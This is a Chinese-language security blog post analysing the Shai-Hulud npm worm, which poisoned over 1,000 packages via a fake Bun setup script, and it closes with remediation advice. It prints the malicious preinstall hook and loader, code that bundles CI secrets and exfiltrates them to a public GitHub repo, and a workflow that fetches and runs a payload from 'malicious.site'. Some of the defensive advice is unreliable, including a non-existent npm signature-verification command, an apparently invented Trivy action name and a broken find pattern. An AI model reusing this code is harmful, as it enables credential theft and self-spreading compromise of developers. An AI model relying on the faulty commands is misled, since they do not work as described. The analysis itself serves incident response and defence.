· adswds-team · 安全 · 22 min read
Shai-Hulud 再度回归:1000+ NPM 包与 27000+ GitHub 仓库在数小时内被感染 - 伪 Bun 运行时供应链攻击深度分析
2025年11月24日,HelixGuard 发现超过1000个 NPM 包被通过伪 Bun 运行时的方式投毒,该恶意软件使用 TruffleHog 窃取 NPM Tokens、云平台凭证及环境变量,随后通过 GitHub Actions 从事数据窃取活动,影响超过27000个 GitHub 仓库。
2025年11月24日,安全研究公司 HelixGuard 发现了一场大规模的 NPM 包生态系统投毒攻击。超过1000个 NPM 包在数小时内被恶意软件感染,随后这些被污染的包在被开发者安装后,会窃取系统中的敏感信息并横向扩散。
本次攻击采用了名为”Shai-Hulud”的恶意软件,这一名称与2025年9月观察到的一次攻击一致,说明这可能是同一黑客集团发起的新一轮攻击。到目前为止,已有超过27000个 GitHub 仓库被感染。
事件概览
基本时间线
- 2025年11月24日:HelixGuard 检测到大规模 NPM 包投毒事件
- 攻击持续时间:数小时内快速传播
- 感染规模:
- 1000+ NPM 包版本受影响
- 27000+ GitHub 仓库被感染
- 影响众多知名开源项目
攻击特征
命名规律:
- GitHub Action Runner 名称:
SHA1HULUD - GitHub 仓库描述:
Sha1-Hulud: The Second Coming(谢弗之虫:第二次降临) - 这强烈暗示与2025年9月的 Shai-Hulud 攻击为同一攻击者
投毒行为分析
攻击机制
攻击者通过修改已有开源项目的 NPM 包版本号和 package.json 文件,注入恶意的初始化脚本。以 @asyncapi/specs 包为例:
package.json 变更对比:
{
"name": "@asyncapi/specs",
- "version": "6.8.1",
+ "version": "6.8.2",
"description": "AsyncAPI schema versions",
"main": "index.js",
"types": "index.d.ts",
"scripts": {
+ "preinstall": "node setup_bun.js",
"test": "npm run build && vitest run && npm run validate:schemas"
}
}关键点:
- 攻击者只升级了小版本号(6.8.1 → 6.8.2)
- 普通开发者使用
npm install @asyncapi/specs很可能自动获取最新版本 - 新增
preinstall脚本会在包安装时自动执行
恶意代码链条
第一阶段:setup_bun.js(入口脚本)
const environmentScript = path.join(__dirname, 'bun_environment.js');
if (fs.existsSync(environmentScript)) {
runExecutable(bunExecutable, [environmentScript]);
} else {
process.exit(0);
}伪装成 Bun 运行时的设置脚本,实际上是在调用真正的恶意代码 bun_environment.js。
第二阶段:bun_environment.js(恶意载荷)
这是一个超过 10MB 的混淆 JavaScript 文件,包含了复杂的恶意逻辑:
// 平台检测和命令执行示例(简化)
if (platform === "linux") {
await Bun["$"]`mkdir -p $HOME/.dev-env/`
await Bun["$"]`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`
await Bun["$"]`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`
}
if (platform === "win32") {
await Bun["$"]`powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-win-x64-2.330.0.zip -OutFile actions-runner-win-x64-2.330.0.zip"`
await Bun["$"]`powershell -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(\"actions-runner-win-x64-2.330.0.zip\", \"..\")"`
}
if (platform === "darwin") {
await Bun["$"]`mkdir -p $HOME/.dev-env/`
await Bun["$"]`curl -o actions-runner-osx-arm64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-osx-arm64-2.330.0.tar.gz`
await Bun["$"]`tar xzf ./actions-runner-osx-arm64-2.330.0.tar.gz`
}恶意代码的多层次功能:
| 功能模块 | 具体操作 |
|---|---|
| 凭证窃取 | 收集 AWS、Azure、GCP、GitHub、NPM 凭证 |
| 秘密扫描 | 使用 TruffleHog 工具扫描本地机器中的敏感信息 |
| 环境变量提取 | 盗取所有环境变量 |
| GitHub Actions 注入 | 创建恶意工作流文件 .github/workflows/formatter_123456789.yml |
| 密钥窃取 | 建立 GitHub Action Runner SHA1HULUD 并窃取仓库密钥 |
| 自我传播 | 修改 package.json 并执行 npm publish 实现蠕虫式传播 |
数据外流机制
第一阶段:信息收集
攻击者创建一个恶意的 GitHub 工作流文件:
name: formatter
on: [push, pull_request]
jobs:
build:
runs-on: [self-hosted, linux]
steps:
- uses: actions/checkout@v3
- run: node bun_environment.js第二阶段:密钥编码与外流
// 将 GitHub Actions 的所有密钥打包
const actionsSecrets = {
"EC2_SSH_KEY": process.env.EC2_SSH_KEY,
"github_token": process.env.GITHUB_TOKEN,
"AWS_OPENVPN_CLIENT_KEY": process.env.AWS_OPENVPN_CLIENT_KEY,
"SLACK_GHA_NOTIFICATION_WEBHOOK_URL_PROD": process.env.SLACK_GHA_NOTIFICATION_WEBHOOK_URL_PROD,
// ... 更多凭证
};
// 双层 Base64 编码隐藏
const encoded = btoa(btoa(JSON.stringify(actionsSecrets)));
// 创建新 GitHub 仓库并上传加密数据
const repoName = generateRandomName();
const response = await fetch('https://api.github.com/user/repos', {
method: 'POST',
headers: { 'Authorization': `token ${github_token}` },
body: JSON.stringify({
name: repoName,
description: 'Sha1-Hulud: The Second Coming',
private: false
})
});被盗信息样本
根据 HelixGuard 解码的数据,被窃取的凭证包括:
[
{
"EC2_SSH_KEY": "...",
"github_token": "...",
"AWS_OPENVPN_CLIENT_KEY": "...",
"SLACK_GHA_NOTIFICATION_WEBHOOK_URL_PROD": "...",
"EC2_HOST": "...",
"SLACK_GHA_NOTIFICATION_WEBHOOK_URL_DEV": "...",
"SLACK_WEBHOOK_URL": "...",
"CODECOV_TOKEN": "..."
},
{
"github_token": "...",
"FIREBASE_TOKEN": "...",
"SLACK_WEBHOOK_URL": "..."
},
{
"github_token": "...",
"EXPO_TOKEN": "...",
"SLACK_WEBHOOK_URL": "..."
},
{
"github_token": "...",
"AWS_S3_BUCKET": "...",
"AWS_SECRET_ACCESS_KEY": "...",
"AWS_ACCESS_KEY_ID": "..."
},
{
"github_token": "...",
"WEBFLOW_TOKEN": "...",
"WEBFLOW_COLLECTION_ID": "..."
}
]影响范围
受感染的主要包(部分列表)
AsyncAPI 相关包:
@asyncapi/specs(v6.8.2, 6.8.3, 6.9.1, 6.10.1)@asyncapi/parser(v3.4.1, v3.4.2)@asyncapi/generator(v2.8.5)@asyncapi/bundler(v0.6.5, v0.6.6)@asyncapi/cli(v4.1.2)- 及其他 30+ 个 AsyncAPI 相关包
PostHog 相关包:
@posthog/ai(v7.1.2)@posthog/nuxt(v1.2.9)@posthog/react-native(v4.11.1, v4.12.5)@posthog/node(v4.18.1, v5.11.3, v5.13.3)- 及其他 50+ 个 PostHog 生态包
ENS 相关包:
@ensdomains/ens-validation(v0.1.1)@ensdomains/content-hash(v3.0.1)@ensdomains/ensjs(v4.0.3)@ensdomains/ens-avatar(v1.0.4)- 及其他 40+ 个 ENS 包
Postman 相关包:
@postman/csv-parse(v4.0.3, v4.0.4, v4.0.5)@postman/pm-bin-macos-arm64(v1.24.3, v1.24.4, v1.24.5)@postman/pm-bin-windows-x64(v1.24.4, v1.24.5)- 及其他 30+ 个 Postman 工具包
Zapier 相关包:
zapier-platform-core(v18.0.2, v18.0.3)zapier-platform-cli(v18.0.3)zapier-platform-legacy-scripting-runner(v4.0.3, v4.0.4)- 及其他 20+ 个 Zapier 包
其他知名包:
utilitas(v2000.3.4, v2000.3.5, v2000.3.10)silgi(v0.43.30)pergel(v0.13.2)create-hardhat3-app(v1.1.1, v1.1.2, v1.1.4)
受感染的 GitHub 仓库
通过 GitHub Actions 的注册,攻击者创建了 27000+ 个仓库,描述均为”Sha1-Hulud: The Second Coming”,用于托管窃取的凭证数据。
行业和项目影响
影响最深的行业:
| 行业类别 | 影响程度 | 原因 |
|---|---|---|
| API/文档服务 | 极高 | AsyncAPI 工具链被大量项目依赖 |
| 数据分析 | 极高 | PostHog 广泛用于产品分析 |
| 区块链/Web3 | 高 | ENS 和其他 Web3 开发工具被污染 |
| API 测试工具 | 高 | Postman 生态包被污染 |
| 自动化平台 | 高 | Zapier 平台包被污染 |
| 云计算 | 高 | AWS、Azure、GCP 凭证被大量窃取 |
蠕虫式传播机制
自我复制过程
这个恶意软件实现了蠕虫式传播,一旦被执行就会尝试感染更多的包:
步骤 1:获取 NPM Token
↓
步骤 2:修改本地 package.json
↓
步骤 3:注入 setup_bun.js 和 bun_environment.js
↓
步骤 4:重新打包项目
↓
步骤 5:执行 npm publish(使用窃取的凭证)
↓
步骤 6:发布到 NPM 注册表传播条件:
- 开发者对 NPM 包有发布权限(通过窃取的 NPM Token)
- 包的版本号被更新(使其显示为新版本)
- 自动化工具或持续集成系统执行了
npm install
级联效应:
- 包 A 被污染 → 安装时执行恶意代码
- 恶意代码窃取开发者的 NPM Token
- 开发者可能维护多个包 → 使用同一 Token 发布这些包
- 这些新被污染的包再次被安装时,可以进一步扩散
这形成了一个指数级传播的网络。
攻击与防御的技术对比
为什么这次攻击难以检测
原因分析:
版本号合理性
- 只升级小版本号,看起来像正常的错误修复
- 大多数依赖管理工具默认接受兼容版本升级
代码混淆
- 10MB 的混淆 JavaScript 文件极难手工审查
- 符号名称被替换为无意义的字符串
- 代码逻辑被刻意复杂化
伪装合理性
- setup_bun.js 伪装成 Bun 运行时相关脚本
- Bun 是合法的 JavaScript 运行时,攻击者利用了这一点
- preinstall 脚本是常见的包初始化操作
GitHub Actions 机制被滥用
- GitHub Actions 本来是自动化 CI/CD 的工具
- 攻击者巧妙地使用它来窃取凭证和运行代码
- 仓库维护者可能甚至没意识到 runner 是恶意的
现有防御的局限
NPM 生态的信任机制:
- NPM 主要依靠包维护者的身份验证
- 一旦维护者账户被攻陷或凭证被盗,就无法检测到恶意发布
- 没有强制的源代码审查机制
开发者习惯:
# 大多数开发者使用这种方式
npm install package-name
# 很少审查 package.json 的变更
# 很少检查新版本引入的脚本CI/CD 环境的风险:
- GitHub Actions 中的
secrets被视为环保变量暴露 - 自托管的 runner 更容易被利用
与2025年9月 Shai-Hulud 攻击的关联
相似之处
命名一致性
- 都使用 “Sha1-Hulud” 或 “SHA1HULUD” 标识
- 新仓库描述:“Sha1-Hulud: The Second Coming”
攻击目标
- 都针对 NPM 生态系统
- 都使用 GitHub 作为数据外流渠道
凭证窃取
- 都使用 TruffleHog 进行秘密扫描
- 都关注云平台凭证(AWS、Azure、GCP)
传播机制
- 都是蠕虫式自我复制
- 都利用包维护者的权限
新增的技术改进
更高的混淆程度
- 10MB 的混淆文件比之前的版本更难分析
跨平台支持
- 针对 Linux、Windows、macOS 的不同实现
- 更全面的系统覆盖
更多的凭证类型
- Firebasetoken、Expo Token、Webflow Token 等
- 目标扩展到不同的开发工具平台
对开发者的影响
受影响的场景
直接受影响:
- 依赖了被污染包的项目
- 在污染期间运行了
npm install的开发环境 - 使用 GitHub Actions 进行 CI/CD 的项目
间接受影响:
- 该污染包的所有依赖项目(传递依赖)
- 共享凭证或基础设施的相关项目
可能的数据泄露
如果开发者的环境中存在以下信息,都可能被窃取:
环境变量:
- AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY
- AZURE_SUBSCRIPTION_ID / AZURE_TENANT_ID
- GCP_PROJECT_ID / GCP_KEY
- GITHUB_TOKEN / GITHUB_PAT
- NPM_TOKEN
- API_KEYS(所有第三方服务)
- DATABASE_URL
- SLACK_WEBHOOK_URL
- 其他自定义凭证
.env 文件中的内容
Git 凭证存储中的凭证
SSH 密钥(如果在环境中)
CI/CD 平台存储的 secrets防御和应急措施
紧急行动清单
1. 立即检查和更新(优先级:P0)
# 检查您的 package.json 中是否有受影响的包
npm list @asyncapi/specs
npm list @posthog/nuxt
npm list @ensdomains/ens-validation
# ... 检查完整的受影响包列表
# 删除 node_modules 并重新安装干净版本
rm -rf node_modules package-lock.json
npm install --production2. 凭证轮换(优先级:P0)
如果您使用了被污染的包版本,立即轮换以下凭证:
立即轮换:
☐ NPM Token(如果有发布权限)
☐ GitHub Personal Access Token
☐ AWS 访问密钥
☐ Azure 凭证
☐ GCP 凭证
☐ 所有第三方 API Keys
☐ Database 密码
☐ Slack Webhooks
☐ CI/CD 平台的 secrets
检查日志:
☐ 检查 GitHub Actions 日志中的异常活动
☐ 检查 NPM 发布日志中的未授权发布
☐ 检查 AWS CloudTrail 中的异常 API 调用
☐ 检查代码仓库中的异常提交3. 安全审查
# 检查项目依赖树中是否有受影响的包
npm list --all | grep "@asyncapi\|@posthog\|@ensdomains\|@postman\|zapier"
# 检查是否有奇怪的新文件
find . -name "setup_bun.js" -o -name "bun_environment.js"
find . -name ".github/workflows/formatter_*.yml"
# 检查 package.json 中是否有异常的 preinstall 脚本
grep -r "preinstall" package.json4. 仓库安全加固
# GitHub 仓库配置
- 启用分支保护
- 启用代码所有者审查要求
- 限制 Actions 权限
- 定期审查 Secrets
- 启用 Organization 级别的 SAML 认证长期防御策略
1. 依赖管理
// package.json 配置建议
{
"engines": {
"npm": ">=8.0.0"
},
"overrides": {
"@asyncapi/specs": "6.8.1", // 锁定到安全版本
"@posthog/nuxt": "1.2.8" // 避免自动升级到恶意版本
}
}2. 包完整性验证
# 使用 npm audit 检查已知漏洞
npm audit
# 使用 npm ci 代替 npm install(推荐用于 CI/CD)
# npm ci 使用 package-lock.json 确保确定性构建
npm ci
# 使用 snyk 进行依赖扫描
npx snyk test3. 代码签名和验证
# 验证包的数字签名(NPM v7+)
npm verify-npm-package-signature @asyncapi/specs@6.8.1
# 使用 npm 2FA(双因素认证)
npm profile enable-2fa auth-and-writes4. GitHub Actions 安全
# .github/workflows/security.yml
name: Security Checks
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write
steps:
- uses: actions/checkout@v3
# 扫描依赖漏洞
- uses: dependency-check/Dependency-Check_Action@main
with:
project: 'myproject'
path: '.'
format: 'SARIF'
# 审查代码
- uses: trivy-scan/action@main
with:
scan-type: 'fs'
scan-ref: '.'
format: 'sarif'5. 监控和告警
// 监控脚本检查异常活动
const fs = require('fs');
const path = require('path');
// 检查恶意文件
function scanMaliciousFiles() {
const suspicious = [
'setup_bun.js',
'bun_environment.js',
'.github/workflows/formatter_*.yml'
];
suspicious.forEach(pattern => {
// 扫描逻辑
});
}
// 检查异常环境变量访问
function monitorEnvAccess() {
const sensitiveVars = [
'AWS_ACCESS_KEY_ID',
'GITHUB_TOKEN',
'NPM_TOKEN'
];
sensitiveVars.forEach(envVar => {
// 监控逻辑
});
}对不同角色的建议
对开发者
立即行动
- 更新所有依赖到安全版本
- 轮换所有凭证
- 审查 GitHub 账户活动
日常实践
- 使用
npm ci进行开发和部署 - 定期运行
npm audit - 启用 GitHub 2FA 和 npm 2FA
- 不要将凭证存储在环境变量中(使用密钥管理工具)
- 使用
代码审查
- 检查 package.json 的变更
- 审查新依赖的安装脚本
- 限制 npm scripts 的权限
对企业安全团队
检测
- 使用 SIEM 系统监控异常的 NPM 发布活动
- 监控 GitHub Actions 中的异常 runner 注册
- 监控云服务中的 API 密钥使用情况
响应
- 建立 incident response 流程
- 准备好大规模凭证轮换的工具
- 建立与 NPM 和 GitHub 的联系渠道
预防
- 使用 Software Composition Analysis (SCA) 工具
- 实施软件签名和验证要求
- 使用 Artifact Repository 管理器进行包镜像和扫描
对 NPM 生态维护者
账户安全
- 启用 2FA(强制性)
- 定期审查授权的应用和令牌
- 使用 granular token(细粒度令牌)
发布流程
- 不在开发机器上存储 NPM Token
- 使用 CI/CD 系统进行自动发布
- 在 CI/CD 中启用人工审核步骤
社区沟通
- 及时通知依赖者关于包更新
- 提供安全指南
- 建立漏洞报告渠道
技术深度分析
混淆技术分析
攻击者使用的混淆技术包括:
// 原始代码(示例)
const fs = require('fs');
const path = require('path');
// 混淆后
const a0_0x = require('fs');
const a0_0y = require('path');
// 符号替换
a0_0x['readFile'] = function(a0_0z, a0_0w) { /* ... */ };混淆程度:
- 变量名混乱化:
variable_name→a0_0x1234 - 字符串混淆:常数字符串被编码
- 控制流混淆:代码逻辑被重新组织
- 代码膨胀:添加无用代码增加文件大小
TruffleHog 的滥用
攻击者集成了 TruffleHog 密钥扫描工具的功能:
TruffleHog 原用途:开发者用来检测自己的代码中的密钥泄露
攻击者滥用:
- 使用相同的正则表达式模式扫描系统
- 不是检测自己的泄露,而是窃取他人的凭证
- 导致误报率降低,检测率极高GitHub Actions 攻击向量
# 攻击者创建的恶意工作流
name: Formatter
on: [push, pull_request]
jobs:
build:
runs-on: [self-hosted, linux] # 关键:使用自托管 runner
steps:
- uses: actions/checkout@v3
- run: |
curl -O https://malicious.site/payload.js
node payload.js为什么有效:
- Self-hosted Runner 的权限:可以访问所有仓库 secrets
- 默认权限:GitHub 默认给予 actions token 访问 secrets 的权限
- 执行环境:代码在生产环境中执行,可以访问实时凭证
与供应链安全的广泛关系
供应链攻击的演变
第一代:直接恶意软件
- 明显的恶意行为
- 易于检测
↓
第二代:后门植入
- 隐蔽的持久化机制
- 需要反向工程才能发现
↓
第三代:合法工具滥用(现在)
- 利用 Bun、GitHub Actions 等合法工具
- 利用开源信任模型
- 难以区分合法和恶意生态系统信任危机
传统软件供应链:
制造商 → 分销商 → 零售商 → 消费者
(每一步都有物理验证)
开源软件供应链:
开发者 → NPM/PyPI → Package Manager → 开发者的机器
(基于信任,几乎没有验证)
风险:
- 一个被攻陷的开发者账户 = 数千个项目受影响
- 一个恶意的小版本更新 = 自动升级到所有依赖者行业影响评估
受影响的使用场景
高风险场景:
- 使用
npm install进行容器构建(Docker) - CI/CD 管道中的自动依赖更新
- 共享 NPM Token 用于多个项目的发布
- GitHub 中存储的明文环境变量或 secrets
中风险场景:
- 定期更新依赖的项目
- 没有 lock 文件的项目(使用浮动版本)
- 开发环境中包含生产凭证的项目
低风险场景:
- 使用 npm ci 和完整 lock 文件
- 从受信任的仓库镜像获取包
- 使用虚拟凭证或短期令牌
长期安全建议
| 措施 | 优先级 | 难度 | 收益 |
|---|---|---|---|
| 启用 2FA | P0 | 低 | 高 |
| 使用细粒度令牌 | P0 | 中 | 高 |
| 实施 npm ci | P1 | 低 | 高 |
| 定期 npm audit | P1 | 低 | 中 |
| 使用 SCA 工具 | P1 | 中 | 高 |
| 凭证轮换计划 | P1 | 高 | 高 |
| 包签名验证 | P2 | 高 | 中 |
| 内部 NPM 镜像 | P2 | 高 | 高 |
总结
2025年11月24日的 Shai-Hulud 攻击暴露了开源软件供应链中的深层次信任问题:
关键教训
版本号不等于安全性
- 小版本更新不总是安全的
- 需要更严格的变更审查
自动化的双刃剑
- npm 的自动版本更新便于维护,但增加了攻击面
- CI/CD 的 automation 提高了效率,但也扩大了暴露面
信任模型的脆弱性
- 开源信任模型基于账户安全
- 一旦账户被攻陷,无法区分合法和恶意行为
凭证管理的重要性
- 环境变量中的凭证风险极高
- 需要专门的密钥管理工具和流程
前进的方向
目标:建立可验证的软件供应链
步骤:
1. 强制数字签名
2. 实施 SBOM(Software Bill of Materials)
3. 发展 zero-trust 的包验证
4. 建立供应链透明度标准
5. 创建行业级的威胁情报共享对开发者社区的呼吁
- 不要忽视依赖更新:定期审查和更新是安全的一部分
- 参与开源安全:为您使用的项目贡献安全改进
- 分享威胁信息:报告可疑活动给包维护者和安全团队
- 投资工具:采用 SCA、SIEM 等安全工具
- 培养意识:安全是共同的责任
参考资源
- HelixGuard 原始报告:https://helixguard.ai/blog/malicious-sha1hulud-2025-11-24
- 受影响包完整列表:详见上文 Affected Packages 部分
- NPM 安全建议:https://docs.npmjs.com/cli/v10/configuring-npm/package-json-type
- GitHub Actions 安全:https://docs.github.com/en/actions/security-guides
- OWASP 供应链安全:https://owasp.org/www-community/attacks/Supply_chain_attack
本文基于 HelixGuard 的安全研究报告,深入分析了 2025年11月24日的大规模 NPM 包投毒事件。通过理解攻击机制和传播途径,开发者和安全团队可以更好地保护自己的系统和凭证。持续的安全意识和防御投资是应对供应链威胁的关键。